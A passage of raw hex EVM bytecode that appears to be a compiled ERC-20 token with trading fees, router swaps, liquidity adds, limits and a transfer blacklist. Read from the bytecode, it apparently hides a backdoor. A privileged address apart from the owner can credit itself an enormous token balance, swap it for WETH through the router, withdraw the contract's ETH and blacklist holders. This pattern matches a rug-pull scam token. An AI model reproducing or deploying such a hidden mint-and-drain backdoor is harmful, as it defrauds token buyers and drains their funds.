65b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d1d8262000cf0565b9050919050565b62000d2f8162000d10565b811462000d3b57600080fd5b50565b60008151905062000d4f8162000d24565b92915050565b6000806040838503121562000d6f5762000d6e62000ceb565b5b600062000d7f8582860162000d3e565b925050602062000d928582860162000d3e565b9150509250929050565b60006020828403121562000db55762000db462000ceb565b5b600062000dc58482850162000d3e565b91505092915050565b62000dd98162000d10565b82525050565b600060408201905062000df6600083018562000dce565b62000e05602083018462000dce565b9392505050565b62000e178162000ab0565b82525050565b600060208201905062000e34600083018462000e0c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e768262000ab0565b915062000e838362000ab0565b925082820190508082111562000e9e5762000e9d62000e3a565b5b92915050565b600082825260208201905092915050565b7f6665652073756d206572726f7200000000000000000000000000000000000000600082015250565b600062000eed600d8362000ea4565b915062000efa8262000eb5565b602082019050919050565b6000602082019050818103600083015262000f208162000ede565b9050919050565b614ff18062000f376000396000f3fe60806040526004361061028c5760003560e01c80637e74422e1161015a578063b49f93f7116100c1578063ecbe5a2d1161007a578063ecbe5a2d146109db578063edd8b64a14610a18578063f1fee6a214610a41578063f226cc8b14610a6a578063f2fde38b14610a95578063f6d1dfe114610abe57610293565b8063b49f93f7146108cb578063b5c72e1a146108f4578063d445d19e14610931578063dd62ed3e14610948578063e1370dd314610985578063e4440a86146109b057610293565b806395d89b411161011357806395d89b411461079557806399b102b5146107c0578063a07fc5a2146107fd578063a457c2d714610828578063a9059cbb14610865578063b179ce40146108a257610293565b80637e74422e1461068757806385ecafd7146106b057806389f425e7146106ed5780638da5cb5b146107165780638dd0f411146107415780638ea5220f1461076a57610293565b806335d16274116101fe57806355474ace116101b757806355474ace1461058d5780635a95ca7b146105b65780636db79437146105cd5780636dd3d39f146105f657806370a0823114610633578063715018a61461067057610293565b806335d162741461046d57806339509351146104aa5780634b42c93d146104e75780634d474d42146104fe5780635337cc99146105275780635342acb41461055057610293565b80631c499ab0116102505780631c499ab01461035e5780631f6b29f714610387578063203e727e146103b057806323b872dd146103d95780632df8bca914610416578063313ce5671461044257610293565b806306fdde0314610298578063095ea7b3146102c35780630bc488c5146103005780630cdd84361461030a57806318160ddd1461033357610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610ae9565b6040516102ba9190613ab7565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613b81565b610b7b565b6040516102f79190613bdc565b60405180910390f35b610308610b97565b005b34801561031657600080fd5b50610331600480360381019061032c9190613c30565b610ccf565b005b34801561033f57600080fd5b50610348610e31565b6040516103559190613c7f565b60405180910390f35b34801561036a57600080fd5b5061038560048036038101906103809190613c9a565b610e3b565b005b34801561039357600080fd5b506103ae60048036038101906103a99190613cf3565b610e71565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190613c9a565b610f8a565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190613d33565b610fc0565b60405161040d9190613bdc565b60405180910390f35b34801561042257600080fd5b5061042b610fe8565b604051610439929190613d86565b60405180910390f35b34801561044e57600080fd5b50610457610ff9565b6040516104649190613dbe565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190613dd9565b611010565b6040516104a19190613c7f565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190613b81565b6111a5565b6040516104de9190613bdc565b60405180910390f35b3480156104f357600080fd5b506104fc6111d5565b005b34801561050a57600080fd5b5061052560048036038101906105209190613dd9565b61126c565b005b34801561053357600080fd5b5061054e60048036038101906105499190613cf3565b6112dc565b005b34801561055c57600080fd5b5061057760048036038101906105729190613dd9565b6113f5565b6040516105849190613bdc565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613e06565b61144b565b005b3480156105c257600080fd5b506105cb6114fd565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190613e46565b6117ef565b005b34801561060257600080fd5b5061061d60048036038101906106189190613dd9565b61187e565b60405161062a9190613bdc565b60405180910390f35b34801561063f57600080fd5b5061065a60048036038101906106559190613dd9565b6118d4565b6040516106679190613c7f565b60405180910390f35b34801561067c57600080fd5b5061068561191d565b005b34801561069357600080fd5b506106ae60048036038101906106a99190613e86565b611931565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190613dd9565b6119d0565b6040516106e49190613bdc565b60405180910390f35b3480156106f957600080fd5b50610714600480360381019061070f9190613c9a565b6119f0565b005b34801561072257600080fd5b5061072b611a6a565b6040516107389190613ee8565b60405180910390f35b34801561074d57600080fd5b5061076860048036038101906107639190613cf3565b611a93565b005b34801561077657600080fd5b5061077f611bac565b60405161078c9190613ee8565b60405180910390f35b3480156107a157600080fd5b506107aa611bd2565b6040516107b79190613ab7565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e29190613dd9565b611c64565b6040516107f49190613bdc565b60405180910390f35b34801561080957600080fd5b50610812611cba565b60405161081f9190613bdc565b60405180910390f35b34801561083457600080fd5b5061084f600480360381019061084a9190613b81565b611cd1565b60405161085c9190613bdc565b60405180910390f35b34801561087157600080fd5b5061088c60048036038101906108879190613b81565b611d41565b6040516108999190613bdc565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c49190613cf3565b611d5d565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613f03565b611e76565b005b34801561090057600080fd5b5061091b60048036038101906109169190613dd9565b611ebf565b6040516109289190613bdc565b60405180910390f35b34801561093d57600080fd5b50610946611f28565b005b34801561095457600080fd5b5061096f600480360381019061096a9190613e06565b611f5e565b60405161097c9190613c7f565b60405180910390f35b34801561099157600080fd5b5061099a611fe5565b6040516109a79190613c7f565b60405180910390f35b3480156109bc57600080fd5b506109c5611fef565b6040516109d29190613ee8565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd9190613dd9565b612015565b604051610a0f9190613bdc565b60405180910390f35b348015610a2457600080fd5b50610a3f6004803603810190610a3a9190613dd9565b61206b565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190613e06565b6120db565b005b348015610a7657600080fd5b50610a7f61232f565b604051610a8c9190613c7f565b60405180910390f35b348015610aa157600080fd5b50610abc6004803603810190610ab79190613dd9565b61237c565b005b348015610aca57600080fd5b50610ad36123ff565b604051610ae09190613c7f565b60405180910390f35b606060088054610af890613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490613f5f565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b600080339050610b8c818585612409565b600191505092915050565b610bc333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b610bd530610bd0336118d4565b611d41565b50610c0b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c06306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c54306118d4565b600080336104b042610c669190613fbf565b6040518863ffffffff1660e01b8152600401610c8796959493929190614038565b60606040518083038185885af1158015610ca5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cca91906140ae565b505050565b610cfb33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b60028160ff1610610d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d389061414d565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc906141b9565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610e6733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060148190555050565b610e9d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f26906141b9565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610fb633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060168190555050565b600080339050610fd1858285612644565b610fdc8585856126d0565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a6919061425b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611131573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115591906142c3565b73ffffffffffffffffffffffffffffffffffffffff161461118657816dffffffffffffffffffffffffffff16611198565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506111ca8185856111bb8589611f5e565b6111c59190613fbf565b612409565b600191505092915050565b61120133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611269573d6000803e3d6000fd5b50565b61129833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61130833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361139a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611391906141b9565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61147733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61152933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600061153430611010565b90506000816dffffffffffffffffffffffffffff801661155491906142f0565b905061155e613026565b6115703061156b336118d4565b611d41565b506115ae30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612409565b6060600267ffffffffffffffff8111156115cb576115ca614324565b5b6040519080825280602002602001820160405280156115f95781602001602082028036833780820191505090505b509050308160008151811061161157611610614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116dc91906142c3565b816001815181106116f0576116ef614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b0426117809190613fbf565b6040518663ffffffff1660e01b81526004016117a0959493929190614440565b6000604051808303816000875af11580156117bf573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906117e891906145b3565b5050505050565b61181b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6064821115801561182d575060648111155b61186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061466e565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61192561308e565b61192f6000613105565b565b61195d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b606481838561196c9190613fbf565b6119769190613fbf565b146119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad906146da565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b611a1c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6127108111611a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a579061476c565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611abf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b48906141b9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611be190613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90613f5f565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611ce38286611f5e565b905083811015611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f906147fe565b60405180910390fd5b611d358286868403612409565b60019250505092915050565b600080339050611d528185856126d0565b600191505092915050565b611d8933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e12906141b9565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ea233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80601860006101000a81548160ff02191690831515021790555050565b600080601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611f1e576001611f21565b60005b9050919050565b611f5433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b611f5c613026565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61209733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61210733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219e5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561224c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227091906142c3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016122aa92919061481e565b602060405180830381865afa1580156122c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122eb91906142c3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060026012546123419190614876565b905080606461234f306118d4565b6123599190614876565b61236391906148a7565b61236c306118d4565b61237691906142f0565b91505090565b61238461308e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ea9061495b565b60405180910390fd5b6123fc81613105565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f906149ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de90614a7f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125c59190613c7f565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263790614b11565b60405180910390fd5b5050565b60006126508484611f5e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146126ca57818110156126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b390614b7d565b60405180910390fd5b6126c98484848403612409565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361273f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273690614c0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a590614ca1565b60405180910390fd5b6127b783611ebf565b156127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90614d0d565b60405180910390fd5b6128028383836131c9565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288090614d9f565b60405180910390fd5b601860009054906101000a900460ff16156129da576128a784613448565b1561293d57601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292f90614e31565b60405180910390fd5b6129d9565b61294683613448565b156129d857601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166129d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ce90614e31565b60405180910390fd5b5b5b5b6129e3846113f5565b1580156129f657506129f4836113f5565b155b15612f0a57612a0484613448565b15612bfa576000612a1783600b546134fa565b90508282612a2591906142f0565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612a7491906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ac29190613fbf565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612b2491906142f0565b604051612b319190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b889190613fbf565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612bec9190613c7f565b60405180910390a350612f05565b612c0383613448565b15612df9576000612c1683600c546134fa565b90508282612c2491906142f0565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612c7391906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cc19190613fbf565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612d2391906142f0565b604051612d309190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d879190613fbf565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612deb9190613c7f565b60405180910390a350612f04565b8181612e0591906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e979190613fbf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612efb9190613c7f565b60405180910390a35b5b613015565b8181612f1691906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612fa89190613fbf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161300c9190613c7f565b60405180910390a35b61302084848461351c565b50505050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130859190613fbf565b92505081905550565b3373ffffffffffffffffffffffffffffffffffffffff166130ad611a6a565b73ffffffffffffffffffffffffffffffffffffffff1614613103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130fa90614e9d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000601454141580156131e257506131e082613448565b155b80156131f457506131f28261187e565b155b801561320657506132048361187e565b155b156132645760145481613218846118d4565b6132229190613fbf565b1115613263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325a90614f2f565b60405180910390fd5b5b60006016541461335e57601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133125750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561335d5760165481111561335c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161335390614f9b565b60405180910390fd5b5b5b601b60009054906101000a900460ff16158015613381575061337f83613448565b155b80156133db5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561341357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561344357601354613424306118d4565b1061344257613431613521565b6134396137b3565b613441613910565b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806134f35750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b60006064828461350a91906148a7565b6135149190614876565b905092915050565b505050565b6001601b60006101000a81548160ff021916908315150217905550600061354661232f565b905061357530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612409565b6060600267ffffffffffffffff81111561359257613591614324565b5b6040519080825280602002602001820160405280156135c05781602001602082028036833780820191505090505b50905030816000815181106135d8576135d7614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561367f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136a391906142c3565b816001815181106136b7576136b6614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084306104b0426137429190613fbf565b6040518663ffffffff1660e01b8152600401613762959493929190614440565b600060405180830381600087803b15801561377c57600080fd5b505af1158015613790573d6000803e3d6000fd5b5050505050506000601b60006101000a81548160ff021916908315150217905550565b600060026012546137c49190614876565b905060008160646137d591906142f0565b905060008282476137e69190614876565b6137f091906148a7565b905061382730600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613822306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230613870306118d4565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166104b0426138a49190613fbf565b6040518863ffffffff1660e01b81526004016138c596959493929190614038565b60606040518083038185885af11580156138e3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061390891906140ae565b505050505050565b6000601254606461392191906142f0565b9050600060105482476139349190614876565b61393e91906148a7565b90506000814761394e91906142f0565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156139b8573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a21573d6000803e3d6000fd5b50505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a61578082015181840152602081019050613a46565b60008484015250505050565b6000601f19601f8301169050919050565b6000613a8982613a27565b613a938185613a32565b9350613aa3818560208601613a43565b613aac81613a6d565b840191505092915050565b60006020820190508181036000830152613ad18184613a7e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b1882613aed565b9050919050565b613b2881613b0d565b8114613b3357600080fd5b50565b600081359050613b4581613b1f565b92915050565b6000819050919050565b613b5e81613b4b565b8114613b6957600080fd5b50565b600081359050613b7b81613b55565b92915050565b60008060408385031215613b9857613b97613ae3565b5b6000613ba685828601613b36565b9250506020613bb785828601613b6c565b9150509250929050565b60008115159050919050565b613bd681613bc1565b82525050565b6000602082019050613bf16000830184613bcd565b92915050565b600060ff82169050919050565b613c0d81613bf7565b8114613c1857600080fd5b50565b600081359050613c2a81613c04565b92915050565b60008060408385031215613c4757613c46613ae3565b5b6000613c5585828601613b36565b9250506020613c6685828601613c1b565b9150509250929050565b613c7981613b4b565b82525050565b6000602082019050613c946000830184613c70565b92915050565b600060208284031215613cb057613caf613ae3565b5b6000613cbe84828501613b6c565b91505092915050565b613cd081613bc1565b8114613cdb57600080fd5b50565b600081359050613ced81613cc7565b92915050565b60008060408385031215613d0a57613d09613ae3565b5b6000613d1885828601613b36565b9250506020613d2985828601613cde565b9150509250929050565b600080600060608486031215613d4c57613d4b613ae3565b5b6000613d5a86828701613b36565b9350506020613d6b86828701613b36565b9250506040613d7c86828701613b6c565b9150509250